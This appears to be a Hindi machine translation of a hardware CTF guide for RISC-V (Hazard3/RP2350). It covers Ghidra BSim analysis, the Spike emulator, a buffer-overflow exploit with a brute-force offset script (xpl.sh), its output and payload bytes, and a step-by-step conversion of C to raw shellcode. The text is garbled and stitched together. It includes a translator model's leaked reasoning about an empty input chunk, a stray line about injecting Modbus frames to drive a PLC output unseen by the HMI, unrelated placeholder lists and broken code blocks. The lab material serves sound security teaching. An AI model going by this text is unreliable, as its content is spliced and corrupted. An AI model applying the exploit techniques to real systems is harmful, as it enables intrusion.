उत्पन्न फ़ाइलों की बड़ी मात्रा को संसाधित करने के लिए, Ghidra के हेडलेस मोड का उपयोग करना सबसे कुशल है। सुनिश्चित करें कि आप विश्लेषण को उस प्रोजेक्ट की ओर इंगित करके चलाएँ जहाँ आपने पहले से ही चैलेंज बाइनरी कॉन्फ़िगर की है:```bash
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
यदि आप विश्लेषण समय कम करना पसंद करते हैं, तो कम से कम इन चार फाइलों को प्रोसेस करें, जिनमें चैलेंज में मौजूद अधिकांश SDK फंक्शन शामिल हैं:
- `tinyusb_dev_cdc_msc.elf`
- `multicore_runner_queue.elf`
- `hello_gpio_irq.elf`
- `hello_timer.elf`
## BSim के साथ विश्लेषण
जब पारंपरिक हस्ताक्षर पहचान (FID) अपर्याप्त हो, तो BSim सबसे शक्तिशाली विकल्प है। अन्य विधियों के विपरीत, BSim कोड व्यवहार और संरचना पर आधारित है, जो क्रॉस-आर्किटेक्चर तुलना की अनुमति देता है और ऑप्टिमाइज़ेशन स्तरों के कारण होने वाली विविधताओं को अनदेखा करता है।
### BSim डेटाबेस कॉन्फ़िगरेशन
हालांकि GUI का उपयोग किया जा सकता है, टर्मिनल के माध्यम से कॉन्फ़िगरेशन करना कई बाइनरी को प्रोसेस करने के लिए अधिक कुशल है।```bash
cd $GHIDRA_INSTALL_DIR/support
H2 डेटाबेस फ़ाइल बनाएँ:```bash
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
Ghidra प्रोजेक्ट में पहले से विश्लेषित बाइनरीज़ से सिग्नेचर निकालें:```bash
mkdir ~/bsim_sigs
./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
प्रक्रिया को पूरा करने के लिए जनरेट किए गए हस्ताक्षरों को हमारे डेटाबेस में कमिट करें:```bash ./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
### Ghidra GUI में एकीकरण
एक बार डेटाबेस बन जाने के बाद, इसे Code Browser से जोड़ें:
1. `BSim > Manage Servers` टैब पर जाएं।
2. `हरे "+" आइकन` पर क्लिक करें और `File` प्रकार चुनें।
3. आपके द्वारा अभी बनाए गए डेटाबेस को ब्राउज़ करें और चुनें।
4. विंडो बंद करने के लिए `Dismiss` पर क्लिक करें।
### फ़ंक्शन पहचान
BSim के साथ मिलान खोजने के कई तरीके हैं, निम्नलिखित सबसे अनुशंसित है:
- डीकंपाइलर पैनल में, **फ़ंक्शन नाम** पर राइट-क्लिक करें, `BSim > Search functions`।
- यदि कोई परिणाम नहीं मिलता है, तो BSim मेनू में सबसे नीचे के विकल्प का चयन करके सेटिंग्स डायलॉग खोलें। यहाँ, आप संकलन के दौरान थोड़े बदलाव वाले फ़ंक्शन खोजने के लिए `Similarity Threshold` कम कर सकते हैं।
**टिप**: यदि आप किसी फ़ंक्शन के सही होने के बारे में निश्चित हैं, लेकिन इसके आंतरिक ("चाइल्ड") फ़ंक्शन अज्ञात हैं, तो BSim परिणाम विंडो का उपयोग करें:
- पैरेंट फ़ंक्शन चुनें और तुलना खोलने के लिए `Shift + C` दबाएं।
- राइट-क्लिक करें और `Compare matching callees` चुनें।
- इसे सही सिग्नेचर के साथ नाम बदलें।
## वर्जन ट्रैकिंग के साथ विश्लेषण
### सत्र बनाना
मुख्य Ghidra विंडो में, Version Tracking टूल खोलने के लिए `Tool Chest` के सबसे दाईं ओर `नीले पैरों के निशान आइकन` पर जाएं।
1. नया सत्र बनाने के लिए ऊपरी-बाएँ मेनू में `नीले पैरों के निशान आइकन` पर क्लिक करें।
2. एक वर्णनात्मक नाम दें (उदा., `tinyusb_dev_cdc_msc`)।
3. स्रोत के रूप में SDK ELF फ़ाइल चुनें।
4. गंतव्य के रूप में चैलेंज बाइनरी चुनें।
5. पूर्व-शर्त जाँचों के माध्यम से आगे बढ़ें। जब तक कोई महत्वपूर्ण त्रुटि न हो, मामूली चेतावनियों को अनदेखा कर सकते हैं। `Finish` पर क्लिक करें।
### कोरिलेटर चलाना
तीन विंडो खुलेंगी: Source Tool, Destination Tool, और Version Tracking कंसोल।
Version Tracking विंडो में:
1. `हरे "+" आइकन` (Add additional correlations) पर क्लिक करें।
2. सभी उपलब्ध कोरिलेटर चुनें। हालाँकि कुछ बेमानी लग सकते हैं, लेकिन Ghidra को उन सभी को चलाने देने से सफलता की संभावना बढ़ जाती है।
3. डिफ़ॉल्ट कॉन्फ़िगरेशन मान रखें, यदि आपको उच्च सटीकता की आवश्यकता हो तो बाद के सत्रों में उन्हें समायोजित कर सकते हैं।
4. `Finish` पर क्लिक करें और प्रक्रिया समाप्त होने तक प्रतीक्षा करें। आम तौर पर, BSim-आधारित एल्गोरिदम सबसे मज़बूत परिणाम देंगे।
### सत्यापन रणनीतियाँ
एक बार Version Tracking परिणाम प्राप्त हो जाने के बाद, चैलेंज बाइनरी में परिवर्तन लागू करने के लिए दो प्रमुख विधियाँ हैं:
- उच्च सटीकता सुनिश्चित करने के लिए प्रत्येक मिलान का मैन्युअल विश्लेषण।
- एक विशिष्ट विश्वास स्तर से अधिक फ़ंक्शनों की स्वचालित स्वीकृति, केवल संदिग्ध परिणामों पर मैन्युअल समीक्षा करना।
दूसरी रणनीति को लागू करने के लिए, सबसे मजबूत मिलानों पर ध्यान केंद्रित करने के लिए परिणामों को फ़िल्टर करना आवश्यक है:
- `Filter` सर्च बार में, केवल फ़ंक्शन सहसंबंध प्रदर्शित करने के लिए "Function" टाइप करें।
- **तकनीकी अनुशंसा:** **0.8** से अधिक विश्वास स्कोर वाले फ़ंक्शनों को बल्क-स्वीकार करने का सुझाव दिया जाता है, हमेशा सहसंबंध के लिए उपयोग किए गए एल्गोरिदम को सत्यापित करते हुए।
### मिलान लागू करना
नामों की पुष्टि करने और उन्हें गंतव्य बाइनरी में स्थानांतरित करने के लिए, `हरे टिक आइकन` (फ्लैग और डिस्क आइकन के बीच स्थित) का उपयोग करें।
### विश्लेषण टिप्स
- विरोधाभासी फ़ंक्शन मिलना आम है। ऐसे मामलों में, स्वचालित असाइनमेंट को अनदेखा करें और मैन्युअल रूप से सत्यापित करें कि परिभाषाएँ चैलेंज संदर्भ के अनुरूप हैं।
- सब कुछ एक **एकल सत्र** में हल करने का प्रयास करें। यदि यह संभव नहीं है, तो विभिन्न SDK ELF के लिए स्वतंत्र सत्र बनाएँ और क्रमिक रूप से परिवर्तन लागू करें।
- यदि आप पूर्ण निश्चितता के साथ किसी फ़ंक्शन की पहचान करते हैं, लेकिन कोरिलेटर आसन्न फ़ंक्शनों का पता लगाने में विफल रहते हैं, तो मूल ELF फ़ाइल में उनके स्थान की जाँच करें। बिल्ड संरचना के कारण, यह अत्यधिक संभावना है कि आप जिस फ़ंक्शन की तलाश कर रहे हैं, वह चैलेंज बाइनरी में समान सापेक्ष पते पर स्थित है।
आपके विश्लेषण शैली के अनुसार, आप दो दृष्टिकोणों में से चुन सकते हैं:
1. सीधे `main` के रिवर्स इंजीनियरिंग से शुरू करें। जैसे-जैसे आप अज्ञात फ़ंक्शनों का सामना करें, उनकी पहचान करने के लिए **BSim** का उपयोग करें।
2. पहले **FIDB** लागू करें ताकि बुनियादी फ़ंक्शन स्थापित हो जाएँ, फिर एक साथ पूरे SDK का नामकरण करने के लिए BSim कोरिलेटर के साथ **Version Tracker** चलाएँ।
- [FID Tutorial](https://www.tarlogic.com/blog/esp32-firmware-using-ghidra-fidb/)
वह तरीका चुनें जो आपके लिए सबसे अच्छा काम करता है।
BSim के बारे में अधिक जानकारी:
- [BSim Tutorial](https://ghidra.re/ghidra_docs/GhidraClass/BSim/README.html)
# RISCV Hazard3 पर स्पाइक एमुलेटर का उपयोग करके क्लासिक बफर ओवरफ्लो का शोषण करना सीखें
## Spike को कंपाइल करें```
sudo apt-get update
sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
". Actually the message ends with "INPUT:" and then a newline and then " response"? Wait the user's message: "INPUT:" then newline then " response"? Actually the last part of the user message is:
INPUT:
Then a newline and then "response" as the start of next line? No, the user message ends with "INPUT:\n\n" and then "response" is not part of the message. Actually the message is:
Translate the following Kitploit tool content.
This is chunk 79 of 179 from a longer Markdown document being translated in sequence.
The source language is en.
Target language: hi.
Content type: README chunk 79/179.
CHUNK-SPECIFIC RULES:
...
7. If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source.
INPUT:
There is no actual content after "INPUT:". So the input chunk is empty. Therefore the output should be empty. But the instructions say "Return ONLY the translated text." If there's no text, return nothing. But that would be an empty response. However, maybe the translator should still output an empty string. I'll output nothing. But to be safe, I'll check: The user provided "INPUT:" and then a blank line and then nothing else. So the chunk is empty. Therefore translation is empty.``` cd /home/dreg mkdir RISCV export RISCV=/home/dreg/RISCV export PATH=$PATH:$RISCV/bin
इनपुट:```
cd /home/dreg/RISCV
git clone https://github.com/riscv/riscv-pk
git clone https://github.com/riscv/riscv-isa-sim
git clone --recursive https://github.com/riscv/riscv-gnu-toolchain
एक मॉडल औद्योगिक नियंत्रण प्रणाली (ICS) modbus/TCP संचार सीखना दिया गया है (देखें /ics_hop *) यह प्रदर्शित करने के लिए कि modbus/TCP संचार में फ्रेम कैसे इंजेक्ट करें जो एक कॉइल (और, इसलिए, एक PLC आउटपुट) को हाई पर सेट करता है बिना HMI के इस पर ध्यान दिए।``` cd /home/dreg/RISCV/riscv-gnu-toolchain mkdir build cd build ../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32 make
Please provide the Markdown content to translate.```
cd /home/dreg/RISCV/riscv-pk
mkdir build
cd build
../configure --prefix=$RISCV --host=riscv32-unknown-elf
make
make install
<container-id> डॉकर कंटेनर का आईडी है।<hostname> - वह समापन बिंदु जिस पर कंटेनर चलते हैं।<ip-address/prefix>।<policy-id> तब लौटाया जाता है जब कोई नीति बनाई जाती है।<rule-id> एक व्यक्तिगत नियम की पहचान करता है।<hook-id> प्रत्येक नेटवर्क हुक की पहचान करता है।<service-name> - मानक सेवा नाम।<username>।<session-id>।```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install### काम करता है या नहीं, जाँचें
poc.c (/home/dreg/RISCV/poc.c)```
#include <stdio.h>
int main()
{
printf("Hello Dreg RISCV!\n");
return 0;
}
poc.c को संकलित करें``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
Spike पर poc निष्पादित करें```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
आउटपुट होना चाहिए:``` Hello Dreg RISCV!
बधाई हो, आपने Spike emulator का उपयोग करके सफलतापूर्वक एक RISCV प्रोग्राम को संकलित और चलाया है!
## Spike debugger का उपयोग कैसे करें
डीबगिंग main function:```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
मेरे मामले में main function 0x00010154 पर``` ..... 0001016a
: 1016a: 1141 addi sp,sp,-16 1016c: c606 sw ra,12(sp) 1016e: c422 sw s0,8(sp) 10170: 0800 addi s0,sp,16 10172: 67c9 lui a5,0x12 10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6> 10178: 26ad jal 104e2 1017a: 4781 li a5,0 1017c: 853e mv a0,a5 1017e: 40b2 lw ra,12(sp) 10180: 4422 lw s0,8(sp) 10182: 0141 addi sp,sp,16 10184: 8082 ret .....INPUT:```
cd /home/dreg/RISCV/
/home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
स्पाइक डीबगर के अंदर:``` (spike) until pc 0 0x0001016a (spike) pc 0 0x0001016a
अब आप मुख्य फ़ंक्शन की शुरुआत में हैं, निर्देशों को एक-एक करके चलाने के लिए एंटर दबाएं।```
(spike)
core 0: 0x0001016a (0x00001141) c.addi sp, -16
(spike)
core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp)
(spike)
core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp)
(spike)
core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
You can use the help command to see more options.
Spike is a VERY basic debugger, so combine external riscv32-unknown-elf-objdump, dump (spike command) + external hexdump to analyze memory and code more effectively...
Crap POC example of classic buffer overflow exploiting on RISCV Hazard3 using Spike emulator.
On RISCV, the return address can be stored in a register rather than on the stack like on x86. To enable stack-based return address overwriting, I added nested function calls to push the return address onto the stack.
test.c``` #include <stdio.h> #include <string.h> #include <stdlib.h> static unsigned char buff[0x100] = { 0 }; static void attribute((optimize("O0"))) func3(unsigned char* exbuff) { strcpy((char*)exbuff, (char*)buff); } static void attribute((optimize("O0"))) func2(unsigned char* exbuff) { func3(exbuff); }
static void attribute((optimize("O0"))) func1(void) { unsigned char exbuff[10] = { 0 }; func2(exbuff); }
static void attribute((optimize("O0"))) func_impossible(void) { printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("good hacker!\n"); exit(0); }
int main(int argc, char* argv[]) { printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n"); printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n"); printf("func_impossible address: %p\n", func_impossible); if (argc < 2) { printf("Error, must execute with one arg\n"); return 1; } printf("argv 1: %s\n", argv[1]); strcpy((char*)buff, argv[1]); func1(); return 0; }
dotest.sh```
#!/usr/bin/env bash
# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg
set -x
RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"
CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
dotest.sh के बाद यह आउटपुट है``` ....
https://github.com/therealdreg/hcon2026hwctf Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg func_impossible address: 0x101d2 argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810 tp 00000000 t0 000003e8 t1 0000006a t2 00000001 s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4 a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041 a6 ffffffff a7 00000040 s2 00000000 s3 00000000 s4 00000000 s5 00000000 s6 00000000 s7 00000000 s8 00000000 s9 00000000 sA 00000000 sB 00000000 t3 00000000 t4 00000000 t5 00008801 t6 00000005 pc 41414140 va/inst 41414140 sr 80006020 User fetch segfault @ 0x41414140
जैसा कि आप देख सकते हैं, हमने सफलतापूर्वक बफर को ओवरफ्लो कर दिया और प्रोग्राम काउंटर (pc) को 0x41414140 पर इंगित करने के लिए नियंत्रित किया, जो ASCII में 'AAAA' के अनुरूप है।
अब आइए func_impossible फ़ंक्शन पर निष्पादन को पुनर्निर्देशित करने के लिए CRAP poc-exploit पेलोड बनाएं।
एक्सप्लॉइट पेलोड बनाने के लिए, हमें रिटर्न एड्रेस को ओवरराइट करने के लिए सही ऑफ़सेट निर्धारित करना होगा और फिर func_impossible फ़ंक्शन का पता जोड़ना होगा।
xpl.sh```
#!/usr/bin/env bash
# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg
# Bruteforce offset script for RISCV Hazard3 buffer overflow
set -e
RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"
CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..."
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..."
FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then
echo "[-] Error: Could not get func_impossible address"
exit 1
fi
echo "[+] func_impossible address: $FUNC_ADDR"
# Convert hex address to decimal and then to little-endian bytes
ADDR_DEC=$((FUNC_ADDR))
BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF)))
BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF)))
BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF)))
BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \\x$BYTE1 \\x$BYTE2 \\x$BYTE3 \\x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do
echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100"
exit 1
xpl.sh चलाने के बाद उदाहरण आउटपुट।``` [+] Compiling test.c... [+] Getting func_impossible address... [+] func_impossible address: 0x101e2 [+] Address bytes (little-endian): \xe2 \x01 \x01 \x00 [+] Starting bruteforce for offset... [] Testing offset: 10 [] Testing offset: 11 [] Testing offset: 12 [] Testing offset: 13 [] Testing offset: 14 [] Testing offset: 15 [] Testing offset: 16 [] Testing offset: 17 [] Testing offset: 18 [] Testing offset: 19 [] Testing offset: 20 [] Testing offset: 21
[+] SUCCESS! Offset found: 21 [+] Exploit payload saved to: exploit_payload.bin [+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg func_impossible address: 0x101e2 argv 1: AAAAAAAAAAAAAAAAAAAAA� �AAAAAAAAA� This function is impossible to reach This function is impossible to reach This function is impossible to reach This function is impossible to reach This function is impossible to reach This function is impossible to reach good hacker!
[+] To reproduce: /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
hexdump -C exploit_payload.bin```
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
xpl.sh स्क्रिप्ट एक CRAP POC है जो func_impossible फ़ंक्शन तक पहुँचने के लिए आवश्यक ऑफसेट को सफलतापूर्वक ब्रूट-फोर्स करती है। आपको अपनी विशिष्ट आवश्यकताओं के अनुसार एक्सप्लॉइट को संशोधित या अनुकूलित करने की आवश्यकता हो सकती है।
यह खंड हाई-लेवल C कोड से Hazard3 RISC-V कोर के लिए रॉ इंस्ट्रक्शन शेलकोड में संक्रमण को प्रदर्शित करता है। हम एक मानक Pico SDK प्रोजेक्ट से शुरू करेंगे और धीरे-धीरे अमूर्तताओं को हटाते जाएंगे जब तक हम एक बाइट ऐरे से रॉ मशीन कोड को निष्पादित नहीं कर सकते।
क्रॉस-कम्पाइलेशन टूलचेन स्थापित करें और Pico SDK को क्लोन करें।```
sudo apt-get update sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
#### स्थानीय परीक्षण
- स्थानीय रूप से परीक्षण करने के लिए `headless_browser_local.py` में उपयोग:
`python3 headless_browser_local.py````
# Create workspace
cd && mkdir ~/PAYLOAD
विषय-सूची
cd ~/PAYLOAD git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
RP2350 के लिए परियोजना को RISC-V आर्किटेक्चर का उपयोग करके विशेष रूप से कॉन्फ़िगर करें। ध्यान दें कि हम संगतता सुनिश्चित करने के लिए प्लेटफ़ॉर्म और टूलचेन संस्करणों को परिभाषित करते हैं।
File: `~/PAYLOAD/CMakeLists.txt````
set(PICO_PLATFORM rp2350-riscv)
set(PICO_BOARD pico2 CACHE STRING "Board type")
set(sdkVersion 2.2.0)
set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc
poc.c
)
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1)
pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
हम एक सरल C प्रोग्राम से शुरुआत करते हैं जो GPIO को टॉगल करता है। यह संस्करण बाहरी SDK फ़ंक्शन पर निर्भर करता है।
फ़ाइल: `~/PAYLOAD/poc.c```` #include <stdio.h> #include "pico/stdlib.h"
static void attribute((optimize("O0"))) onled(void) { gpio_put(25, 1); }
int main() { gpio_init(25); gpio_set_dir(25, GPIO_OUT); onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
प्रोजेक्ट को संकलित करें और परिणामी बाइनरी का निरीक्षण करें।```
cd ~/PAYLOAD/
rm -rf build/ && cmake -S . -B build && make -C build -j
फ़ाइल: `~/PAYLOAD/build/poc.elf```` ~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
यदि हम डिसअसेम्बली की जाँच करते हैं, तो हम देख सकते हैं कि कंपाइलर फंक्शन कॉल्स को कैसे संभालता है।
फ़ाइल: `~/PAYLOAD/build/poc.dis````
....
1000012e <onled>:
1000012e: 1141 addi sp,sp,-16
10000130: c606 sw ra,12(sp)
10000132: c422 sw s0,8(sp)
10000134: 0800 addi s0,sp,16
10000136: 4585 li a1,1
10000138: 4565 li a0,25
1000013a: 2031 jal 10000146 <gpio_put>
1000013c: 0001 nop
1000013e: 40b2 lw ra,12(sp)
10000140: 4422 lw s0,8(sp)
10000142: 0141 addi sp,sp,16
10000144: 8082 ret
....
10000146 <gpio_put>:
10000146: 28a01533 bset a0,zero,a0
1000014a: d00007b7 lui a5,0xd0000
1000014e: c199 beqz a1,10000154 <gpio_put+0xe>
10000150: cf88 sw a0,24(a5)
10000152: 8082 ret
10000154: d388 sw a0,32(a5)
10000156: 8082 ret
....
एक स्वतंत्र पेलोड बनाने के लिए, हमें बाहरी जंप से बचना होगा। हम इनलाइन असेंबली का उपयोग करके फ़ंक्शन को फिर से लिखते हैं ताकि हार्डवेयर रजिस्टर्स के साथ सीधे इंटरैक्ट कर सकें।
फ़ाइल: `~/PAYLOAD/poc_with_asm.c```` #include <stdio.h> #include "pico/stdlib.h"
attribute((naked, optimize("O0"))) void onled(void) { asm volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
); }
int main() { gpio_init(25); gpio_set_dir(25, GPIO_OUT); onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
अब डिस्सेम्बली से पता चलता है कि फंक्शन पूरी तरह से आत्मनिर्भर है:
फ़ाइल: `~/PAYLOAD/build/poc_with_asm.dis````
1000012e <onled>:
1000012e: 1141 addi sp,sp,-16
10000130: c606 sw ra,12(sp)
10000132: c422 sw s0,8(sp)
10000134: 0800 addi s0,sp,16
10000136: 4585 li a1,1
10000138: 4565 li a0,25
1000013a: 28a01533 bset a0,zero,a0
1000013e: d00007b7 lui a5,0xd0000
10000142: c199 beqz a1,10000148 <onled+0x1a>
10000144: cf88 sw a0,24(a5)
10000146: a011 j 1000014a <onled+0x1c>
10000148: d388 sw a0,32(a5)
1000014a: 0001 nop
1000014c: 40b2 lw ra,12(sp)
1000014e: 4422 lw s0,8(sp)
10000150: 0141 addi sp,sp,16
10000152: 8082 ret
10000154: 0001 nop
ऑपकोड को एक बाइट एरे में निकालें और इसे फंक्शन पॉइंटर में डालकर निष्पादित करें।
File: `~/PAYLOAD/poc_payload_asm.c```` #include <stdio.h> #include "pico/stdlib.h"
unsigned char payload[] = { "\x41\x11" // 1141 "\x06\xc6" // c606 "\x22\xc4" // c422 "\x00\x08" // 0800 "\x85\x45" // 4585 "\x65\x45" // 4565 "\x33\x15\xa0\x28" // 28a01533 "\xb7\x07\x00\xd0" // d00007b7 "\x99\xc1" // c199 "\x88\xcf" // cf88 "\x11\xa0" // a011 "\x88\xd3" // d388 "\x01\x00" // 0001 "\xb2\x40" // 40b2 "\x22\x44" // 4422 "\x41\x01" // 0141 "\x82\x80" // 8082 "\x01\x00" // 0001 };
int main() { gpio_init(25); gpio_set_dir(25, GPIO_OUT); ((void ()(void))(void)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
निर्माण के बाद, हम सत्यापित कर सकते हैं कि पेलोड मेमोरी में सही ढंग से मैप किया गया है।
File: `~/PAYLOAD/build/poc_payload_asm.dis````
20000e74 <payload>:
20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..(
20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@
20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
चुनौतियों में से एक के लिए आपको किसी अन्य प्रतिभागी के साथ मिलकर काम करना होगा या वास्तविक हार्डवेयर डिबगिंग करने के लिए दो RP2350 बोर्ड रखने होंगे; आइए जानें कि इसे कैसे करें।
(आपको pico-sdk स्थापित होना चाहिए)
/etc/udev/rules.d/99-pico.rules```
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
/etc/udev/rules.d/99-openocd.rules```
# Sample udev rules for OpenOCD and Raspberry Pi / common debug probes
# Copy (as root) to /etc/udev/rules.d/99-openocd.rules and reload udev.
# Choose MODE/GROUP according to your security policy. Using GROUP="plugdev" and MODE="0660" is safer than 0666.
# Ensure your user is in the chosen group (e.g. plugdev or dialout).
# Raspberry Pi Pico in BOOTSEL (UF2 mass-storage + HID)
